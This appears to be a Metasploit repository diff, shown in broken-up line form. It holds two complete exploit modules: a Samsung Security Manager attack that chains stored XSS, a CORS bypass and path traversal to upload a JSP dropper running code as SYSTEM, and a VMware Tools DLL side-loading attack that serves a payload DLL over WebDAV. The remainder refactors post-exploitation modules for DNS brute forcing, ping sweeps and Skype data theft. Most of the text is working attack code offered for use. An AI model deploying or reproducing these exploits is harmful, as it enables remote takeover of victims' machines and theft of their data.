||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Samsung Security Manager 1.5 ActiveMQ Broker Service PUT Method Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This is an exploit against Samsung Security Manager that bypasses the patch in
|
||||
CVE-2015-3435 by exploiting the vulnerability against the client side. This exploit has
|
||||
been tested successfully against IE, FireFox and Chrome by abusing a GET request XSS to
|
||||
bypass CORS and reach the vulnerable PUT. Finally, a traversal is used in the PUT request
|
||||
to upload the code just where we want it and gain Remote Code Execution as SYSTEM.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'mr_me <mr_me[at]offensive-security.com>', # vuln + module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://metasploit.com' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
# tested on 1.32, 1.4 & 1.5
|
||||
[ 'Samsung Security Manager 1.32, 1.4 & 1.5 Universal', {} ],
|
||||
],
|
||||
'DisclosureDate' => "Aug 05 2016",
|
||||
'DefaultTarget' => 0))
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# this is because String.fromCharCode has a max of 65535 func args
|
||||
# thanks to sinn3r for his help with the Array->String conversion
|
||||
def encode_js(string)
|
||||
i = 0
|
||||
encoded_0 = []
|
||||
encoded_1 = []
|
||||
string.each_byte do |c|
|
||||
if i > 65534
|
||||
encoded_1 << c
|
||||
else
|
||||
encoded_0 << c
|
||||
end
|
||||
i += 1
|
||||
end
|
||||
if i > 65534
|
||||
return encoded_0 * ",", encoded_1 * ","
|
||||
else
|
||||
return encoded_0 * ","
|
||||
end
|
||||
end
|
||||
|
||||
# tested on Firefox v46.0.1 (latest)
|
||||
# tested on Chrome v50.0.2661.102 (latest release)
|
||||
# tested on IE v11.0.9600.18314 (latest)
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
js_name = rand_text_alpha(rand(10)+5) + '.js'
|
||||
|
||||
payload_url = "http://"
|
||||
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" + js_name
|
||||
|
||||
# we deliver the JavaScript code that does the work for us
|
||||
if (request.uri.match(/.js/))
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
# dont exploit again otherwise we get a zillion shells
|
||||
return if session_created? or @exploited
|
||||
|
||||
jsp_name = rand_text_alpha(rand(10)+5) + '.jsp'
|
||||
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
|
||||
|
||||
# clean just the jsp, because the exe dropper will be in use
|
||||
register_files_for_cleanup("../../webapps/admin/#{jsp_name}")
|
||||
|
||||
# our jsp upload, ensuring native code execution
|
||||
jsp = %Q|<%@ page import="java.io.*" %>
|
||||
<%
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
BufferedReader reader = request.getReader();
|
||||
int tmp;
|
||||
while ((tmp = reader.read()) != -1) { buf.write(tmp); }
|
||||
FileOutputStream fostream = new FileOutputStream("#{exe_name}");
|
||||
buf.writeTo(fostream);
|
||||
fostream.close();
|
||||
Runtime.getRuntime().exec("#{exe_name}");
|
||||
%>|
|
||||
|
||||
# encode the payloads
|
||||
encoded_exe = encode_js(generate_payload_exe(code: payload.encoded))
|
||||
encoded_jsp = encode_js(jsp)
|
||||
|
||||
# targets
|
||||
jsp_uri = "http://localhost:8161/fileserver/..%5c%5cadmin%5c%5c#{jsp_name}"
|
||||
upload_uri = "http://localhost:8161/admin/#{jsp_name}"
|
||||
|
||||
# this code does the PUT, then uploads/exec native code and then cleans the XSS out :->
|
||||
js_content = %Q|
|
||||
|
||||
function do_put(uri, file_data) {
|
||||
var file_size = file_data.length;
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open("PUT", uri, true);
|
||||
var body = file_data;
|
||||
xhr.send(body);
|
||||
return true;
|
||||
}
|
||||
|
||||
function do_upload(uri, file_data) {
|
||||
var file_size = file_data.length;
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open("POST", uri, true);
|
||||
var body = file_data;
|
||||
|
||||
// latest ff doesnt have sendAsBinary(), so we redefine it
|
||||
if(!xhr.sendAsBinary){
|
||||
xhr.sendAsBinary = function(datastr) {
|
||||
function byteValue(x) {
|
||||
return x.charCodeAt(0) & 0xff;
|
||||
}
|
||||
var ords = Array.prototype.map.call(datastr, byteValue);
|
||||
var ui8a = new Uint8Array(ords);
|
||||
this.send(ui8a.buffer);
|
||||
}
|
||||
}
|
||||
xhr.sendAsBinary(body);
|
||||
return true;
|
||||
}
|
||||
|
||||
function bye_bye_xss(uri){
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', uri.replace(/\\+/g,"%2b"), true);
|
||||
xhr.send();
|
||||
}
|
||||
|
||||
function clean_up(){
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
var els = xhr.responseXML.getElementsByTagName("a");
|
||||
for (var i = 0, l = els.length; i < l; i++) {
|
||||
var el = els[i];
|
||||
if (el.href.search("http://localhost:8161/admin/deleteDestination.action") == 0) {
|
||||
bye_bye_xss(el.href);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
xhr.open('GET', 'http://localhost:8161/admin/queues.jsp', true);
|
||||
xhr.responseType = "document"; // so that we can parse the reponse as a document
|
||||
xhr.send(null);
|
||||
}
|
||||
|
||||
function exploit(){
|
||||
do_upload('#{upload_uri}', String.fromCharCode(#{encoded_exe[0]}) + String.fromCharCode(#{encoded_exe[1]}));
|
||||
clean_up();
|
||||
}
|
||||
|
||||
function start() {
|
||||
do_put('#{jsp_uri}', String.fromCharCode(#{encoded_jsp}));
|
||||
setTimeout(exploit(), 2000); // timing is important
|
||||
}
|
||||
start();
|
||||
|
|
||||
|
||||
if datastore['OBFUSCATE']
|
||||
js_content = ::Rex::Exploitation::JSObfu.new(js_content)
|
||||
js_content.obfuscate
|
||||
end
|
||||
|
||||
print_status("Sending javascript...")
|
||||
@exploited = true
|
||||
send_response_html(cli, js_content, { 'Content-Type' => 'application/javascript' })
|
||||
return
|
||||
end
|
||||
|
||||
if datastore['OBFUSCATE']
|
||||
js_content = ::Rex::Exploitation::JSObfu.new(js_content)
|
||||
js_content.obfuscate
|
||||
onlick = ::Rex::Exploitation::JSObfu.new(onlick)
|
||||
onlick.obfuscate
|
||||
end
|
||||
|
||||
iframe_injection = ""
|
||||
# done so that we can ensure that we hit our payload, since iframes load very fast, we need a few
|
||||
(1..20).step(1) do |n|
|
||||
iframe_injection << "<iframe src=\"http://localhost:8161/admin/queueGraph.jsp\" width=\"0\" height=\"0\"></iframe>"
|
||||
end
|
||||
|
||||
# the stored XSS endpoint
|
||||
target = "http://localhost:8161/admin/browse.jsp?JMSDestination="
|
||||
|
||||
# we use XSS to execute JavaScript code in local context to avoid CORS
|
||||
xss_injection = "\"+eval(\"var a=document.createElement('script');a.type='text/javascript';"
|
||||
xss_injection << "a.src='#{payload_url}';document.body.appendChild(a)\")+\""
|
||||
target << Rex::Text.uri_encode(xss_injection)
|
||||
|
||||
# we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request
|
||||
# and the response is recieved in the page (even though we cant access it due to SOP) which then fires the XSS
|
||||
html_content = %Q|
|
||||
<html>
|
||||
<body>
|
||||
<iframe src="#{target}" width="0" height="0"></iframe>
|
||||
#{iframe_injection}
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
print_status("Sending exploit...")
|
||||
send_response_html(cli, html_content)
|
||||
handler(cli)
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,346 @@
|
|||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DLL Side Loading Vulnerability in VMware Host Guest Client Redirector',
|
||||
'Description' => %q{
|
||||
A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector,
|
||||
a component of VMware Tools. This issue can be exploited by luring a victim into
|
||||
opening a document from the attacker's share. An attacker can exploit this issue to
|
||||
execute arbitrary code with the privileges of the target user. This can potentially
|
||||
result in the attacker taking complete control of the affected system. If the WebDAV
|
||||
Mini-Redirector is enabled, it is possible to exploit this issue over the internet.
|
||||
},
|
||||
'Author' => 'Yorick Koster',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2016-5330'],
|
||||
['URL', 'https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html'],
|
||||
['URL', 'http://www.vmware.com/in/security/advisories/VMSA-2016-0010.html'],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Payload' => { 'Space' => 2048, },
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows x64', {'Arch' => ARCH_X86_64,} ],
|
||||
[ 'Windows x86', {'Arch' => ARCH_X86,} ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Aug 5 2016',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
|
||||
OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]),
|
||||
OptString.new('BASENAME', [ true, "The base name for the docx file", "Document1" ]),
|
||||
OptString.new('SHARENAME', [ true, "The name of the top-level share", "documents" ])
|
||||
], self.class)
|
||||
|
||||
# no SSL
|
||||
deregister_options('SSL', 'SSLVersion', 'SSLCert')
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
case request.method
|
||||
when 'OPTIONS'
|
||||
process_options(cli, request)
|
||||
when 'PROPFIND'
|
||||
process_propfind(cli, request)
|
||||
when 'GET'
|
||||
process_get(cli, request)
|
||||
else
|
||||
print_status("#{request.method} => 404 (#{request.uri})")
|
||||
resp = create_response(404, "Not Found")
|
||||
resp.body = ""
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def process_get(cli, request)
|
||||
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
webdav = "\\\\#{myhost}\\"
|
||||
|
||||
if (request.uri =~ /vmhgfs\.dll$/i)
|
||||
print_status("GET => DLL Payload (#{request.uri})")
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
data = generate_payload_dll({ :arch => target['Arch'], :code => p.encoded })
|
||||
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||
return
|
||||
end
|
||||
|
||||
if (request.uri =~ /\.docx$/i)
|
||||
print_status("GET => DOCX (#{request.uri})")
|
||||
send_response(cli, "", { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' })
|
||||
return
|
||||
end
|
||||
|
||||
if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
|
||||
print_status("GET => REDIRECT (#{request.uri})")
|
||||
resp = create_response(200, "OK")
|
||||
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=file:\\\\#{@exploit_unc}#{datastore['SHARENAME']}\\#{datastore['BASENAME']}.docx"></head><body></body></html>|
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
end
|
||||
|
||||
print_status("GET => 404 (#{request.uri})")
|
||||
resp = create_response(404, "Not Found")
|
||||
resp.body = ""
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
#
|
||||
# OPTIONS requests sent by the WebDav Mini-Redirector
|
||||
#
|
||||
def process_options(cli, request)
|
||||
print_status("OPTIONS #{request.uri}")
|
||||
headers = {
|
||||
'MS-Author-Via' => 'DAV',
|
||||
'DASL' => '<DAV:sql>',
|
||||
'DAV' => '1, 2',
|
||||
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
|
||||
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
|
||||
'Cache-Control' => 'private'
|
||||
}
|
||||
resp = create_response(207, "Multi-Status")
|
||||
headers.each_pair {|k,v| resp[k] = v }
|
||||
resp.body = ""
|
||||
resp['Content-Type'] = 'text/xml'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
#
|
||||
# PROPFIND requests sent by the WebDav Mini-Redirector
|
||||
#
|
||||
def process_propfind(cli, request)
|
||||
path = request.uri
|
||||
print_status("PROPFIND #{path}")
|
||||
body = ''
|
||||
|
||||
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
my_uri = "http://#{my_host}/"
|
||||
|
||||
if path !~ /\/$/
|
||||
|
||||
if blacklisted_path?(path)
|
||||
print_status "PROPFIND => 404 (#{path})"
|
||||
resp = create_response(404, "Not Found")
|
||||
resp.body = ""
|
||||
cli.send_response(resp)
|
||||
return
|
||||
end
|
||||
|
||||
if path.index(".")
|
||||
print_status "PROPFIND => 207 File (#{path})"
|
||||
body = %Q|<?xml version="1.0" encoding="utf-8"?>
|
||||
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype/>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<lp2:executable>T</lp2:executable>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>application/octet-stream</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
</D:multistatus>
|
||||
|
|
||||
# send the response
|
||||
resp = create_response(207, "Multi-Status")
|
||||
resp.body = body
|
||||
resp['Content-Type'] = 'text/xml; charset="utf8"'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
else
|
||||
print_status "PROPFIND => 301 (#{path})"
|
||||
resp = create_response(301, "Moved")
|
||||
resp["Location"] = path + "/"
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
print_status "PROPFIND => 207 Directory (#{path})"
|
||||
body = %Q|<?xml version="1.0" encoding="utf-8"?>
|
||||
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype><D:collection/></lp1:resourcetype>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
|
|
||||
|
||||
if request["Depth"].to_i > 0
|
||||
trail = path.split("/")
|
||||
trail.shift
|
||||
case trail.length
|
||||
when 0
|
||||
body << generate_shares(path)
|
||||
when 1
|
||||
body << generate_files(path)
|
||||
end
|
||||
else
|
||||
print_status "PROPFIND => 207 Top-Level Directory"
|
||||
end
|
||||
|
||||
body << "</D:multistatus>"
|
||||
|
||||
body.gsub!(/\t/, '')
|
||||
|
||||
# send the response
|
||||
resp = create_response(207, "Multi-Status")
|
||||
resp.body = body
|
||||
resp['Content-Type'] = 'text/xml; charset="utf8"'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
def generate_shares(path)
|
||||
share_name = datastore['SHARENAME']
|
||||
%Q|
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}#{share_name}/</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype><D:collection/></lp1:resourcetype>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
|
|
||||
end
|
||||
|
||||
def generate_files(path)
|
||||
trail = path.split("/")
|
||||
return "" if trail.length < 2
|
||||
|
||||
%Q|
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}#{datastore['BASENAME']}.docx</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype/>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<lp2:executable>T</lp2:executable>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>application/octet-stream</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
|
|
||||
end
|
||||
|
||||
def gen_timestamp(ttype=nil)
|
||||
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
|
||||
end
|
||||
|
||||
def gen_datestamp(ttype=nil)
|
||||
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
|
||||
end
|
||||
|
||||
# This method rejects requests that are known to break exploitation
|
||||
def blacklisted_path?(uri)
|
||||
return true if uri =~ /\.exe/i
|
||||
return true if uri =~ /\.(config|manifest)/i
|
||||
return true if uri =~ /desktop\.ini/i
|
||||
return true if uri =~ /lib.*\.dll/i
|
||||
return true if uri =~ /\.tmp$/i
|
||||
return true if uri =~ /(pcap|packet)\.dll/i
|
||||
false
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
|
||||
|
||||
@exploit_unc = "\\\\#{myhost}\\"
|
||||
|
||||
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
|
||||
fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
|
||||
end
|
||||
|
||||
print_status("Files are available at #{@exploit_unc}#{datastore['SHARENAME']}")
|
||||
|
||||
super
|
||||
end
|
||||
end
|
|
@ -32,23 +32,11 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
|
||||
domain = datastore['DOMAIN']
|
||||
hostlst = datastore['NAMELIST']
|
||||
a = []
|
||||
|
||||
print_status("Performing DNS Forward Lookup Bruteforce for Domain #{domain}")
|
||||
if session.type =~ /shell/
|
||||
# Only one thread possible when shell
|
||||
thread_num = 1
|
||||
# Use the shell platform for selecting the command
|
||||
platform = session.platform
|
||||
else
|
||||
# When in Meterpreter the safest thread number is 10
|
||||
thread_num = 10
|
||||
# For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform
|
||||
platform = session.sys.config.sysinfo['OS']
|
||||
end
|
||||
|
||||
name_list = []
|
||||
if ::File.exist?(hostlst)
|
||||
|
@ -57,9 +45,7 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
end
|
||||
|
||||
platform = session.platform
|
||||
|
||||
case platform
|
||||
case session.platform
|
||||
when /win/i
|
||||
cmd = "nslookup"
|
||||
when /solaris/i
|
||||
|
@ -67,8 +53,9 @@ class MetasploitModule < Msf::Post
|
|||
else
|
||||
cmd = "/usr/bin/host "
|
||||
end
|
||||
while(not name_list.nil? and not name_list.empty?)
|
||||
1.upto(thread_num) do
|
||||
|
||||
while !name_list.nil? && !name_list.empty?
|
||||
1.upto session.max_threads do
|
||||
a << framework.threads.spawn("Module(#{self.refname})", false, name_list.shift) do |n|
|
||||
next if n.nil?
|
||||
vprint_status("Trying #{n.strip}.#{domain}")
|
||||
|
|
|
@ -44,21 +44,7 @@ class MetasploitModule < Msf::Post
|
|||
iplst << ipa
|
||||
end
|
||||
|
||||
if session.type =~ /shell/
|
||||
# Only one thread possible when shell
|
||||
thread_num = 1
|
||||
# Use the shell platform for selecting the command
|
||||
platform = session.platform
|
||||
else
|
||||
# When in Meterpreter the safest thread number is 10
|
||||
thread_num = 10
|
||||
# For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform
|
||||
platform = session.sys.config.sysinfo['OS']
|
||||
end
|
||||
|
||||
platform = session.platform
|
||||
|
||||
case platform
|
||||
case session.platform
|
||||
when /win/i
|
||||
cmd = "nslookup"
|
||||
when /solaris/i
|
||||
|
@ -66,12 +52,13 @@ class MetasploitModule < Msf::Post
|
|||
else
|
||||
cmd = "/usr/bin/host"
|
||||
end
|
||||
while(not iplst.nil? and not iplst.empty?)
|
||||
1.upto(thread_num) do
|
||||
|
||||
while !iplst.nil? && !iplst.empty?
|
||||
1.upto session.max_threads do
|
||||
a << framework.threads.spawn("Module(#{self.refname})", false, iplst.shift) do |ip_add|
|
||||
next if ip_add.nil?
|
||||
r = cmd_exec(cmd, " #{ip_add}")
|
||||
case platform
|
||||
case session.platform
|
||||
when /win/
|
||||
if r =~ /(Name)/
|
||||
r.scan(/Name:\s*\S*\s/) do |n|
|
||||
|
|
|
@ -55,22 +55,7 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
a = []
|
||||
|
||||
|
||||
if session.type =~ /shell/
|
||||
# Only one thread possible when shell
|
||||
thread_num = 1
|
||||
# Use the shell platform for selecting the command
|
||||
platform = session.platform
|
||||
else
|
||||
# When in Meterpreter the safest thread number is 10
|
||||
thread_num = 10
|
||||
# For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform
|
||||
platform = session.sys.config.sysinfo['OS']
|
||||
end
|
||||
|
||||
platform = session.platform
|
||||
|
||||
case platform
|
||||
case session.platform
|
||||
when /win/i
|
||||
ns_opt = " -query=srv "
|
||||
cmd = "nslookup"
|
||||
|
@ -82,13 +67,13 @@ class MetasploitModule < Msf::Post
|
|||
cmd = "/usr/bin/host"
|
||||
end
|
||||
|
||||
while(not srvrcd.nil? and not srvrcd.empty?)
|
||||
1.upto(thread_num) do
|
||||
while !srvrcd.nil? && !srvrcd.empty?
|
||||
1.upto session.max_threads do
|
||||
a << framework.threads.spawn("Module(#{self.refname})", false, srvrcd.shift) do |srv|
|
||||
next if srv.nil?
|
||||
r = cmd_exec(cmd, ns_opt + "#{srv}#{domain}")
|
||||
|
||||
case platform
|
||||
case session.platform
|
||||
when /win/
|
||||
if r =~ /\s*internet\saddress\s\=\s/
|
||||
nslookup_srv_consume("#{srv}#{domain}", r).each do |f|
|
||||
|
|
|
@ -40,21 +40,8 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
iplst << ipa
|
||||
end
|
||||
if session.type =~ /shell/
|
||||
# Only one thread possible when shell
|
||||
thread_num = 1
|
||||
# Use the shell platform for selecting the command
|
||||
platform = session.platform
|
||||
else
|
||||
# When in Meterpreter the safest thread number is 10
|
||||
thread_num = 10
|
||||
# For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform
|
||||
platform = session.sys.config.sysinfo['OS']
|
||||
end
|
||||
|
||||
platform = session.platform
|
||||
|
||||
case platform
|
||||
case session.platform
|
||||
when /win/i
|
||||
count = " -n 1 "
|
||||
cmd = "ping"
|
||||
|
@ -69,10 +56,10 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
while(not iplst.nil? and not iplst.empty?)
|
||||
a = []
|
||||
1.upto(thread_num) do
|
||||
1.upto session.max_threads do
|
||||
a << framework.threads.spawn("Module(#{self.refname})", false, iplst.shift) do |ip_add|
|
||||
next if ip_add.nil?
|
||||
if platform =~ /solaris/i
|
||||
if session.platform =~ /solaris/i
|
||||
r = cmd_exec(cmd, "-n #{ip_add} 1")
|
||||
else
|
||||
r = cmd_exec(cmd, count + ip_add)
|
||||
|
|
|
@ -7,19 +7,12 @@ require 'msf/core'
|
|||
require 'rex'
|
||||
require 'csv'
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::UserProfiles
|
||||
|
||||
include Msf::Post::OSX::System
|
||||
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Multi Gather Skype User Data Enumeration',
|
||||
|
@ -52,9 +45,9 @@ class MetasploitModule < Msf::Post
|
|||
return
|
||||
end
|
||||
|
||||
if (session.platform =~ /java/) || (session.platform =~ /osx/)
|
||||
# Make sure a Java Meterpreter on anything but OSX will exit
|
||||
if session.platform =~ /java/ and sysinfo['OS'] !~ /Mac OS X/
|
||||
if session.platform =~ /java/
|
||||
# Make sure that Java Meterpreter on anything but OSX will exit
|
||||
if session.platform !~ /osx/
|
||||
print_error("This session type and platform are not supported.")
|
||||
return
|
||||
end
|
||||
|
@ -105,7 +98,7 @@ class MetasploitModule < Msf::Post
|
|||
# Download file using Meterpreter functionality and returns path in loot for the file
|
||||
def download_db(profile)
|
||||
if session.type =~ /meterpreter/
|
||||
if sysinfo['OS'] =~ /Mac OS X/
|
||||
if session.platform =~ /osx/
|
||||
file = session.fs.file.search("#{profile['dir']}/Library/Application Support/Skype/","main.db",true)
|
||||
else
|
||||
file = session.fs.file.search("#{profile['AppData']}\\Skype","main.db",true)
|
||||
|
|
|
@ -108,18 +108,8 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
if session.type =~ /shell/
|
||||
# Use the shell platform for selecting the command
|
||||
platform = session.platform
|
||||
else
|
||||
# For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform
|
||||
platform = session.sys.config.sysinfo['OS']
|
||||
platform = 'osx' if platform =~ /darwin/i
|
||||
end
|
||||
|
||||
case platform
|
||||
case session.platform
|
||||
when /win/i
|
||||
|
||||
listing = cmd_exec('netsh wlan show networks mode=bssid')
|
||||
if listing.nil?
|
||||
print_error("Unable to generate wireless listing.")
|
||||
|
@ -136,7 +126,6 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
when /osx/i
|
||||
|
||||
listing = cmd_exec('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s')
|
||||
if listing.nil?
|
||||
print_error("Unable to generate wireless listing.")
|
||||
|
